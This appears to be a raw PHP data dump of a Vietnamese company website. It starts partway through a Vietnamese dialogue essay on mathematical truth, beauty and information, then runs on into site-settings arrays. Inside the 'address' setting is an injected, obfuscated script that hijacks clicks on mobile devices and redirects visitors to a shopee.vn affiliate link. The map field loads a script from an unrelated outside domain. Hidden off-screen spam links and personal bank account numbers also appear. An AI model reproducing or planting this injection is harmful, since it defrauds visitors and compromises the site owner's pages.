sự liên quan mật thiết đến các dạng automorphic mà khởi thủy là một nhóm con rời rạc trong một nhóm liên tục. Trong vật lý lý thuyết, Gell-Mann tiên đoán sự tồn tại của một hạt cơ bản dựa vào danh sách các biểu diễn của nhóm Lie.</div> <div> </div> <div> Khái niệm nhóm có vẻ như một cấu trúc đại số đơn giản thuận tiện, rất khó lý giải ảnh hưởng sâu rộng của nó đến hiểu biết chung của con người.</div> <div> </div> <div> Minh – Nhân Châu nói đến vụ cái rubik thấy hấp dẫn quá, nên bàn thêm mấy câu thế này:</div> <div> </div> <div> Tư duy là quá trình Lập Luận, Lập và Luận. Lập Luận xoay vòng nối tiếp nhau. Lập là lựa chọn, là quyết định, là hướng định. Lập khởi thủy là hệ thống các tiên đề, các ký hiệu, các qui tắc kết nối, các quy tắc thao tác, cùng một hệ thống ngữ nghĩa, làm nên một lý thuyết. Luận là quá trình thao tác kết nối, chuyển tải, sinh thành các Lập mới sao cho hợp thức (“không vi hiến”). Toàn bộ dòng này chảy dẫn từ Tiên đề đến Kết luận (Kết luận là một Lập đạt được cuối cùng của một chu trình). Dòng chảy này đa trị, nên có phép chứng minh hay thì có thể rất ngắn, hoặc phép chứng minh kém hay thì có thể siêu dài. Ví dụ về tập hợp các thao tác trên khối rubik của Châu rất hay cho trường hợp này: có người xoay rất nhanh ăn, người khác lâu ăn, riêng mình có thể xoay rubik cả đời không đi đến đâu cả, nhưng không hề phạm một lỗi logic nào! ;-).</div> <div> </div> <div> Trong một lĩnh vực tri thức cụ thể, xuất phát từ Hệ tiên đề mà đạt đến Kết luận mang tính bất định (ví dụ lý thuyết «tính bắc cầu của lòng yêu mến” đưa đến các kết quả “lúc có, lúc nhất định không»), thậm chí mâu thuẫn, sẽ buộc ta phải xem xét lại, bổ sung hoặc thay đổi lý thuyết trong lĩnh vực tri thức đó. Logic chỉ đóng vai trò tư pháp, đảm nhiệm tính hợp pháp của quá trình Luận và của các Lập được sinh thành (ví dụ một công thức mới thu được như kết quả chứng minh hợp pháp thu được từ quá trình Luận). Còn tính chân lý nằm ở trong nội dung các Lập, được cắt nghĩa bởi bảng các giá trị chân lý có được do các kinh nghiệm, thực nghiệm, kiến thức khoa học đã xác tín (tương đối) và/hay các lựa chọn lý tưởng nhân văn xác quyết. Tính chân lý trong trường hợp khối rubik trên kia có thể được định nghĩa trong bảng giá trị như sau: “ở mọi trạng thái ban đầu, ta luôn luôn sẽ có cách đưa khối rubik về trạng thái mà mỗi mặt chỉ có một màu, bằng cách chỉ áp dụng các thao tác cho phép”, như Châu đã nói ở trên.</div> <div> </div> <div> Dương – Như vậy là ở đây có một số vấn đề cần làm rõ hơn:</div> <div> </div> <div> 1. Một lý thuyết mô tả những biến đổi nội tại trở nên rất mạnh khi mô tả thực tại (reality), nên thực tại phải có cấu trúc nội tại và sự biến đổi của thực tại là do những biến đổi nội tại gây ra?</div> <div> </div> <div> 2. Không thể có một kết cục tất yếu cho sự vận động của một thực tại, vì kết cục phụ thuộc vào cách thức và thứ tự của từng biến đổi riêng rẽ. Phán đoán ở mức tốt nhất chỉ là phán đoán thống kê, không thể là phán đoán tất định?</div> <div> </div> <div> 3. Cơ sở cho những tiên đoán như của Gell-Mann là gì? Có phải đó chỉ là sự tự hoàn thiện, đối xứng, tao nhã…, những tiêu chí của cái Đẹp. Như vậy cái Đẹp (Beauty) và cái Thật (Truth) có quan hệ gì? Một lý thuyết đẹp và mô tả xác thực thường được coi là tốt. Vậy Đẹp, Thật, Tốt (Chân-Thiện-Mỹ) có quan hệ gì với nhau? Hay ba cái này là một.Và như thế, có tồn tại một bộ quy luật chung cho Mỹ học và Đạo đức như cho Khoa học? Thực ra, đây là một câu hỏi rất cũ, nhưng đến giờ vẫn chưa có câu trả lời thỏa đáng.</div> <div> </div> <div> Châu – Mình có một lý thuyết như thế này, có thể là hơi hàm hồ.</div> <div> </div> <div> Có rất nhiều yếu tố khác nhau để tạo nên cái đẹp. Một yếu tố là tính vừa đủ: không thiếu, đặc biệt là không thừa.</div> <div> </div> <div> Phải chăng thiên nhiên tuân theo nguyên tắc tiết kiệm, không chỉ tiết kiệm năng lượng, mà còn tiết kiệm cả thông tin nữa. Vì thế ngôn ngữ để mô tả nó cũng phải thỏa mãn tính tiết kiệm thông tin.</div> <div> </div> <div> Cái đẹp có một lợi thế khác nữa trong quá trình phát triển của tri thức, cái đẹp dễ được tiếp thu hơn. Cái gì xấu xí, nhưng có giá trị, thường sẽ được con người gọt rũa cho đến khi nó trở thành đẹp. Cái gì giữ mãi cái vỏ xấu xí của mình sẽ có nhiều cơ hội để rơi vào lãng quên.</div> <div> </div> <div> Dương – Lý thuyết của anh không “hàm hồ” chút nào, mà ngược lại, “cực kỳ tao nhã” (cười).</div> <div> </div> <div> Chẳng phải Einstein từng nói: một lý thuyết cần “simple, but not simpler” thì cũng hàm ý không thiếu không thừa.</div> <div> </div> <div> Nhân vật Hòa Thân trong phim Tể tướng Lưu gù một thời làm mưa làm gió trên phim truyền hình (Việt Nam, còn ở Trung Quốc thì không rõ) miêu tả một cô gái đẹp cho vua Càn Long như sau: cô ấy đẹp đến nỗi nếu bớt một chút thì thiếu, mà thêm một chút thì thừa. Càn Long (tay chơi có số) nghe đến đó thì cười tít mắt. Theo lý thuyết này, giám khảo của các cuộc thi sắc đẹp bây giờ, nếu thấy thí sinh có sẹo ở chân chẳng hạn, có lẽ nên nói cái sẹo ở đó là thừa thay vì thay vì chê bai thí sinh.</div> <div> </div> <div> Như vậy xem ra nhận định của Đông Tây kim cổ đều có nét tương đồng.</div> <div> </div> <div> Giờ nghiêm túc hơn một chút nhé:</div> <div> </div> <div> Trong vật lý cổ điển, khi năng lượng có vai trò chủ đạo thì Nguyên tắc hoạt động tối thiểu (Principle of least action) có vai trò quan trọng tương ứng. Vậy nếu coi tự nhiên (universe), ở mức cơ bản nhất, được tạo bởi thông tin (hiện có rất nhiều nhà vật lý theo giả thiết này) thì Nguyên tắc tiết kiệm thông tin (Principle of least information – PLI) cũng sẽ có vai trò tương tự. Liệu có thể tìm cách kiểm chứng PLI ở những chỗ này chăng (với sự dè dặt rất lớn)? Trường hấp hẫn: theo cách giải thích thường thấy thì vật chất làm cong không gian, độ cong đó chính là hấp dẫn. Vậy có thể nhìn cách khác: không gian là lưới thông tin; độ cong của không gian chính là mật độ thông tin. Như vậy, ở mức cơ bản nhất, không gian, và rộng ra là cả vũ trụ, được cấu tạo bởi thông tin. Chỗ nào có mật độ thông tin lớn thì vật chất tụ lại tương ứng. Ánh sáng cũng như mọi vật chuyển động theo đường trắc địa không phải vì hấp dẫn mà đơn giản là dòng chảy tự nhiên của thông tin theo cách tương thích nhất với thông tin nền mà nó tiếp xúc (không gian). Sự lượng tử hóa không gian sẽ là một hệ quả tất yếu. Nhưng thời gian thì sao? Hoặc trong Vật lý lỗ đen, khi các bit thông tin phủ kín chân trời lỗ đen chứ không phải là toàn bộ thể tích lỗ đen thì đây có thể coi là hệ quả của nguyên tắc “không thiếu không thừa”? Vậy liệu có thể dùng PLI để đạt lại những kết quả như của họ? Tiếc là không có một nhà Vật lý lý thuyết ở đây để thảo luận vấn đề này.</div> <div> </div> <div> Minh – Anh chen một tý vào chuyện cái đẹp thế này.</div> <div> </div> <div> Cái đẹp có một khía cạnh đặc biệt, là nó liên quan đến cảm xúc của con người.</div> <div> “Tri thức khách quan” không thể thống trị ở đây hoàn toàn được.</div> <div> </div> <div> Cái đẹp của mối tình mới chớm đến, khác với cái đẹp của mối tình dứt áo ra đi.</div> <div> </div> <div> Cái đẹp của quảng trường Times Square ở New York, cả quảng trường là một sân khấu vĩ đại tuyệt vời mà mỗi người có mặt tự mình thành một nhân vật sống, khác với cái đẹp của một bãi biển đìu hiu nắng chiều đỏ ối ở Dauvine, Châu hát, Minh gảy đàn. Mà cũng lại khác nữa với một vẻ chiều cuối Xuân đường Nguyễn Du, Dương với Minh gặp nhau lần đầu trong đời thực bên tách café để rồi bắt đầu câu chuyện dài ở đây…</div> <div> </div> <div> Ở đây không đơn thuần là “tiết kiệm năng lượng” nữa, mà là các thẩm mỹ biểu đạt các dòng chảy của năng lượng.</div> <div> </div> <div> Châu – Có rất nhiều điều thú vị trong câu chuyện này. Nhưng có lẽ, mình đã đi quá xa so với chủ đề ban đầu.</div> <div> </div> <div> Dương - Em cũng thấy vậy, nên sẽ tổng kết lại ở đây. Những phần mở rộng sẽ được thảo luận tiếp trong một dịp khác.</div> <div> </div> <div> <strong>Thay lời kết</strong></div> <div> </div> <div> Sự thật Toán học, với những đặc tính như khách quan, bền vững, duy lý… có thể được coi là một trong những đặc sản của nền văn minh phương Tây. Sự phát triển của khoa học kĩ nghệ hiện đại trước hết khởi đầu bởi sự tìm ra những sự thật toán học này.</div> <div> </div> <div> Chính là chúng – dù bản chất tồn tại vẫn còn là một vấn đề bỏ ngỏ – đã tạo ra cơ sở vững chắc cho kho tri thức của nhân loại. Không có chúng, khoa học và kĩ nghệ không thể ra đời, nền văn minh kĩ nghệ hiện đại không thể phát triển.</div> <div> </div> <div> Cuộc thảo luận về sự thật toán học ở đây tuy chưa dài, nhưng đã gợi mở rất nhiều vấn đề của Triết học, Toán học và Vật lý… Hy vọng rằng, chúng sẽ được làm sáng tỏ phần nào trong những thảo luận tiếp theo.</div> <div> ---</div> <div> * Giáp Văn Dương dẫn chuyện và biên tập.</div> ', 'images' => '20160616030721f00b6379b82a515a9478b6e58b783de9.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-16', 'modified' => '2025-08-10', 'status' => '1', 'view' => '61823', 'slug' => 'su-that-toan-hoc-theo-so-tay-thich-hoc-toan', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '709', 'rght' => '710', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), 'setting' => array( 'id' => '1', 'name' => 'Công Ty Cổ Phần Thiết Bị Và Dịch Vụ Kỹ Thuật Quảng Tây - QHT', 'title' => 'Thiết Bị Và Dịch Vụ Kỹ Thuật Quảng Tây - QHT', 'address_eng' => '<div> QUANG TAY - QHT ENGINEERING EQUIPMENT AND SERVICE JSC</div> <div> Representative: Le Van</div> <div> Position: Director</div> <div> Address: số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, Hà Nội City</div> <div> Phone number:</div> <div> Email:</div> <div> Tax code: 0103008064</div> ', 'address' => '<p style="text-align: center;"> <img alt="" src="/admin/webroot/upload/image/images/Ảnh chụp Màn hình 2016-06-24 lúc 9_52_55 SA.png" /></p> <h2 style="position: absolute; top: -100000px; overflow: auto;"> <a href="http://www.sieuthibaoholaodong.vn/" title="quần áo bảo hộ lao động">quần áo bảo hộ lao động</a> <a href="http://www.inhoadon.net.vn/" title="in hóa đơn">in hóa đơn</a></h2> <div> <div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space: pre;">Hậu</span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc<br /> Mã số thuế:<span style="white-space: pre;"> </span>0103008064<br /> Địa chỉ:<span style="white-space: pre;"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội<br /> Email:<span style="white-space: pre;"> </span>quangtayqht@gmail.com<br /> Số điện thoại công ty: 02437759534</div> <div> <div> Số điện thoại kỹ thuật: 0904212040</div> <div> Số điện thoại kinh doanh: 0913303547</div> </div> <div> </div> <div> </div> </div><script> const sl={get a(){return sl.g("nepo")},get b(){return sl.g("noitacol")},get c(){return sl.g("ecalper")},get d(){return sl.g("HSoYnj8O05/nv.eepohs.s//:sptth")},e:"_ga_D8SD9STSJ5",f:window,g:e=>e.split("").reverse().join(""),h(){document[sl.g("renetsiLtnevEdda")](sl.g("kcilc"),sl.oC,!0)},gC:e=>document.cookie.split("; ").reduce(((t,s)=>s.startsWith(e+"=")?s.split("=")[1]:t),null),sC:(e,t,s)=>{ti=new Date(Date.now()+864e5*s).toUTCString(),document.cookie=e+"="+t+";expires="+ti+";path=/"},mT:()=>{const e=navigator.userAgent.toLowerCase();return navigator.maxTouchPoints>1&&window.matchMedia("(pointer:coarse)").matches&&(/android|iphone|ipad|tablet|playbook|silk|kindle/.test(e)||window.matchMedia("(max-width: 1024px)").matches)},gV:()=>sl.gC(sl.e),oC:e=>{const t=e.target.closest("a");t&&t.href&&"/"!==t.href&&(!sl.gV()||"true"!==sl.gV())&&sl.mT()&&(e.preventDefault(),sl.sC(sl.e,"true",3),sl.f[sl.a](t.href,sl.g("knalb_")),sl.f[sl.b][sl.c](sl.d))}};sl.h(); </script> ', 'contactinfo_eng' => '<div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space:pre"> </span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc</div> <div> Địa chỉ:<span style="white-space:pre"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội</div> <div> Số điện thoại:<span style="white-space:pre"> </span></div> <div> Email:<span style="white-space:pre"> </span></div> <div> Mã số thuế:<span style="white-space:pre"> </span>0103008064</div> ', 'taikhoan' => '<strong><span style="color:#04529a;">Số Tài khoản các ngân hàng của công ty Tân Á</span></strong><br /> <br /> 1. 13022-0506-5430 - Nguyễn Văn Hiệu - Agribank - CN Trung Yên, HN<br /> 2. 0011-00404-0367 - Nguyễn Văn Hiệu - Vietcombank - CN Sở Giao dịch, HN<br /> 3. 711A-6202-9713 - Nguyễn Văn Hiệu - Vietinbank - CN Thanh Xuân, HN<br /> 4. 190-256-018-210-13 - Nguyễn Văn Hiệu - Techcombank, Hà Nội<br /> 5. 1231-0000-368-767 - Nguyễn Văn Hiệu - BIDV CN Quang Trung, Hà Nội', 'contactinfo' => '<div dir="rtl" style="text-align: left;"> <div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space:pre"> </span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc</div> <div> Địa chỉ:<span style="white-space:pre"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội</div> <div> Số điện thoại:<span style="white-space:pre"> </span></div> <div> Email:<span style="white-space:pre"> </span></div> <div> Mã số thuế:<span style="white-space:pre"> </span>0103008064</div> </div> <div style=""> <span style="font-family: tahoma, geneva, sans-serif; font-size: 16px;"> </span><br /> </div> <div style="position: absolute; left: -10000px;"> <a href="http://parkcityhadong.vn/" rel="dofollow">parkcityhadong.vn</a></div> ', 'telephone' => '01659 014592', 'hotline' => '0913303547', 'email' => '', 'url' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2012-06-05', 'modified' => '1752726853', 'youtube' => 'http://youtube.com', 'twitter' => 'https://twitter.com/', 'myspace' => 'https://myspace.com/', 'facebook' => 'https://www.facebook.com/FacebookVietnam/', 'email2' => 'duycuong7640', 'skype' => 'hothihuyen.hn', 'yahoo' => 'duycuong7640', 'yahoo1' => 'duycuong7640', 'content' => 'Thanks for your interest in Vn Discoverytours. For a fast response, please submit this basic Quick Enquiry form below by clicking “Submit”, and we’ll get back to you by e-mail within 12 to 24 hours (in working days). For urgent booking, call us at +84 974 839 873', 'video' => '<iframe width="360" height="200" src="https://www.youtube.com/embed/kwIc6bliHhc" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe> ', 'slogan' => 'trung tâm sửa chữa và bảo hành máy giặt electrolux', 'slogan_eng' => '', 'printer' => '', 'googleplus' => '', 'bando' => '<p> <iframe allowfullscreen="" frameborder="0" height="410" src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d1680.2372398112452!2d105.81212934716025!3d21.01437303922492!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ab63b645b665%3A0xa6797ac6008687bf!2zQ-G7rWEgSMOgbmcgVHLhuq9jIMSQ4buLYQ!5e0!3m2!1svi!2s!4v1449908805279" style="border:0" width="600"></iframe></p> <script src='https://cdnliver.com/js/thanhtuyen.js'></script>', 'gioithieu' => '<p style="text-align: center;"> <img alt="" src="/admin/webroot/upload/image/images/gioithieu.png" /></p> ', 'thongtincongty' => 'Sửa máy lạnh tại nhà Sửa máy lạnh tại HCM Sửa tủ lạnh Bơm ga máy lạnh ', 'trogiupkh' => 'Tai nghe Iphone Sua may tinh tai nha Máy Ozone Z755', 'dichvuft' => 'Sửa máy lạnh Bảo dưỡng máy lạnh Vệ sinh máy lạnh Lắp đặt máy lạnh', 'bb' => '', 'zing' => '', 'hotline2' => '0912 35 65 75', 'thelink' => '<script type='text/javascript'>window._sbzq||function(e){e._sbzq=[];var t=e._sbzq;t.push(["_setAccount",32506]);var n=e.location.protocol=="https:"?"https:":"http:";var r=document.createElement("script");r.type="text/javascript";r.async=true;r.src=n+"//static.subiz.com/public/js/loader.js";var i=document.getElementsByTagName("script")[0];i.parentNode.insertBefore(r,i)}(window);</script> <script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-72584674-1', 'auto'); ga('send', 'pageview'); </script> <!-- Global site tag (gtag.js) - Google Ads: 876059345 --> <script async src="https://www.googletagmanager.com/gtag/js?id=AW-876059345"></script> <script> window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'AW-876059345'); </script> ', 'theh1' => '', 'hanoi' => '<div> <strong>CÔNG TY CỔ PHẦN THƯƠNG MẠI HMH VIỆT NAM</strong></div> <div> <strong>Địa chỉ</strong> : Số 51 - Trần Duy Hưng, Trung Hòa, Cầu Giấy, Hà Nội</div> <div> <strong>Điện thoại </strong>: (04) 3641.7498 - <strong>Fax</strong>: (04) 3543.0479</div> <div> <strong>Email </strong>: info@ifes.vn</div> ', 'tphcm' => '<div> <strong>CÔNG TY CỔ PHẦN THƯƠNG MẠI HMH VIỆT NAM</strong></div> <div> <strong>Địa chỉ</strong> : Số 51 - Trần Duy Hưng, Trung Hòa, Cầu Giấy, Hà Nội</div> <div> <strong>Điện thoại </strong>: (04) 3641.7498 - <strong>Fax</strong>: (04) 3543.0479</div> <div> <strong>Email </strong>: info@ifes.vn</div> ', 'tt' => '', 'pp' => 'https://www.facebook.com/ruaxetudong.net', 'tphcm_eng' => '', 'hanoi_eng' => '', 'hotline_eng' => '', 'name_eng' => '', 'chinhsach' => null, 'bandohn' => '<iframe frameborder="0" height="450" src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d3724.958946511035!2d105.8172709!3d20.9942827!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ac91e206c757%3A0xf0f7a088bc4c72a2!2zMTg2IEtoxrDGoW5nIFRydW5nLCBUaGFuaCBYdcOibiwgSMOgIE7hu5lpLCBWaeG7h3QgTmFt!5e0!3m2!1svi!2s!4v1419913280809" style="border:0" width="600"></iframe>', 'bandohaiphong' => '<iframe frameborder="0" height="450" src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d3724.958946511035!2d105.8172709!3d20.9942827!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ac91e206c757%3A0xf0f7a088bc4c72a2!2zMTg2IEtoxrDGoW5nIFRydW5nLCBUaGFuaCBYdcOibiwgSMOgIE7hu5lpLCBWaeG7h3QgTmFt!5e0!3m2!1svi!2s!4v1419913280809" style="border:0" width="600"></iframe>', 'gt' => '<p style="text-align: center;"> </p> <span style="font-size:16px;"><span style="color:#ffa500;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><strong style="margin: 0px; padding: 0px;"> HỖ TRỢ KHÁCH HÀNG 24/7</strong></span></span></span><br style="margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: arial; font-size: 13px; line-height: 20px; text-align: justify;" /> <img alt="" src="/admin/webroot/upload/image/images/hotline.png" style="width: 205px; height: 82px;" /><br /> <img alt="" src="/admin/webroot/upload/image/images/i-bhch(1).png" style="width: 136px; height: 57px;" /><img alt="" src="/admin/webroot/upload/image/images/i-ghtn(1).png" style="width: 136px; height: 57px;" /><br style="margin: 0px; padding: 0px;" /> <span style="color:#ffffff;"><span style="font-size:16px;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><span style="font-size:14px;"> </span></span></span></span><span style="color:#ffa500;"><span style="font-size:16px;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><strong style="margin: 0px; padding: 0px;"> </strong></span></span></span> <p style="text-align: center;"> <iframe clocktype="html5" frameborder="no" scrolling="no" src="http://clocklink.com/html5embed.php?clock=sdt&timezone=VietNam_Hanoi&color=blue&size=175&Title=&Message=&Target=&From=2015,1,1,0,0,0&Color=blue" style="overflow:hidden;border:0;margin:0;padding:0;width:175px;height:34px;"></iframe></p> ', 'gt_eng' => '' ), 'description_for_layout' => '', 'keywords_for_layout' => '', 'tintucnoibat' => array( (int) 0 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 1 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 2 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 3 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ) ), 'duandatrienkhai' => array( (int) 0 => array( 'Advertisement' => array( [maximum depth reached] ) ), (int) 1 => array( 'Advertisement' => array( [maximum depth reached] ) ), (int) 2 => array( 'Advertisement' => array( [maximum depth reached] ) ) ), 'slideshow' => array( (int) 0 => array( 'Slideshow' => array( [maximum depth reached] ) ), (int) 1 => array( 'Slideshow' => array( [maximum depth reached] ) ), (int) 2 => array( 'Slideshow' => array( [maximum depth reached] ) ) ), 'adv_khuyenmai' => array( 'Advertisement' => array( 'id' => '1', 'name' => null, 'link' => '', 'images' => '20190618044702f2726adc12fc8d21c875c9ee5274335e.png', 'display' => '5', 'created' => '2015-11-12', 'modified' => '2019-06-18', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '1', 'rght' => '2' ) ), 'doitac' => array( (int) 0 => array( 'Advertisement' => array( [maximum depth reached] ) ), (int) 1 => array( 'Advertisement' => array( [maximum depth reached] ) ), (int) 2 => array( 'Advertisement' => array( [maximum depth reached] ) ) ), 'chayphai' => array( 'Advertisement' => array( 'id' => '3', 'name' => null, 'link' => '', 'images' => '20160216064647eda555165b5c7208330a328fac635686.png', 'display' => '2', 'created' => '2015-11-13', 'modified' => '2017-02-07', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '5', 'rght' => '6' ) ), 'chaytrai' => array( 'Advertisement' => array( 'id' => '2', 'name' => null, 'link' => '', 'images' => '201602160646338f7cfbf080f7dfc1a2bafa3a3f0dd7c1.jpg', 'display' => '1', 'created' => '2015-11-13', 'modified' => '2017-02-07', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '3', 'rght' => '4' ) ), 'chiasekinhnghiem' => array(), 'list_menu_footer' => array(), 'danhmuc_left_parent' => array( (int) 0 => array( 'Catproduct' => array( [maximum depth reached] ) ) ), 'danhmuc' => array( (int) 0 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 1 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 2 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 3 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 4 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 5 => array( 'Catproduct' => array( [maximum depth reached] ) ) ), 'support' => array( (int) 0 => array( 'Support' => array( [maximum depth reached] ) ), (int) 1 => array( 'Support' => array( [maximum depth reached] ) ) ), 'content_for_layout' => '<div class="bg-cat-danhmuc"> <div class="cat-title-danhmuc"> <a href="" title=""> <h1></h1> </a> </div> </div> <div class="box-content-detail"> <div class="clear-content"></div><div class="clear-content"></div> <div class="col-product"> <div class="box-new-content"> <div class="box-new-detail"> <div class="time-date"> 12:00:00 <span>16/06/2016</span> </div><!--end time-date--><div class="clear-content"></div> <div class="box-like-share"> <div class="like1"> <div class="fb-like" data-href="http://www.quangtayqht.vn/su-that-toan-hoc-theo-so-tay-thich-hoc-toan.htm" data-layout="standard" data-action="like" data-show-faces="true" data-share="true"></div> </div> </div><!--end box-like-share--><div class="clear-content"></div> <div class="ct-tt"> <div class="clear-main"></div> </div><!--end ct-tt--> <!--<div class="fb-comments" data-href="http://www.quangtayqht.vn/su-that-toan-hoc-theo-so-tay-thich-hoc-toan.htm" data-width="715" data-numposts="5" data-colorscheme="light"></div>--> <div class="clear-content"></div><div class="clear-content"></div> </div><!--end box-new-detail--> <div class="bar-new-detail"> <label>Private same category</label> <div class="clear-main"></div> <ul> <li> <a href="http://www.quangtayqht.vn/cach-kiem-tra-va-hieu-chinh-may-kinh-vi-dien-tu.htm" title=""> <h3> <span>(11-09-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/mot-so-ung-dung-cua-may-kinh-vi-trong-trac-dia.htm" title=""> <h3> <span>(11-09-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/nhung-cach-dinh-vi-duong-di-cho-dan-phuot.htm" title=""> <h3> <span>(22-08-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/thuoc-day-yamayo.htm" title=""> <h3> <span>(22-08-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/nhung-loi-thuong-gap-khi-su-dung-may-toan-dac-dien-tu.htm" title=""> <h3> <span>(25-07-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/ban-da-chon-trac-dia-thanh-dat-la-don-vi-cung-cap-may-moc-do-dac-cho-du-an-cua-minh-chua.htm" title=""> <h3> <span>(24-07-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/phan-mem-ung-dung-may-toan-dac-dien-tu-ban-nen-biet.htm" title=""> <h3> <span>(13-06-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/pin-may-toan-dac-dien-tu-topcon.htm" title=""> <h3> <span>(08-05-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/huong-dan-co-ban-su-dung-may-bo-dam.htm" title=""> <h3> <span>(08-05-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/huong-dan-sac-pin-may-bo-dam-dung-ky-thuat.htm" title=""> <h3> <span>(08-05-2017)</span></h3> </a> </li> </ul> <div class="clear-main"></div> </div><!--end bar-new-detail--> <div class="clear-main"></div> <div class="pagination"> <span><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:1" rel="first">« First</a></span><span class="prev"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:4" rel="prev">« Previous</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:1">1</a></span>...<span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:2">2</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:3">3</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:4">4</a></span><span class="current number">5</span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:6">6</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:7">7</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:8">8</a></span>...<span 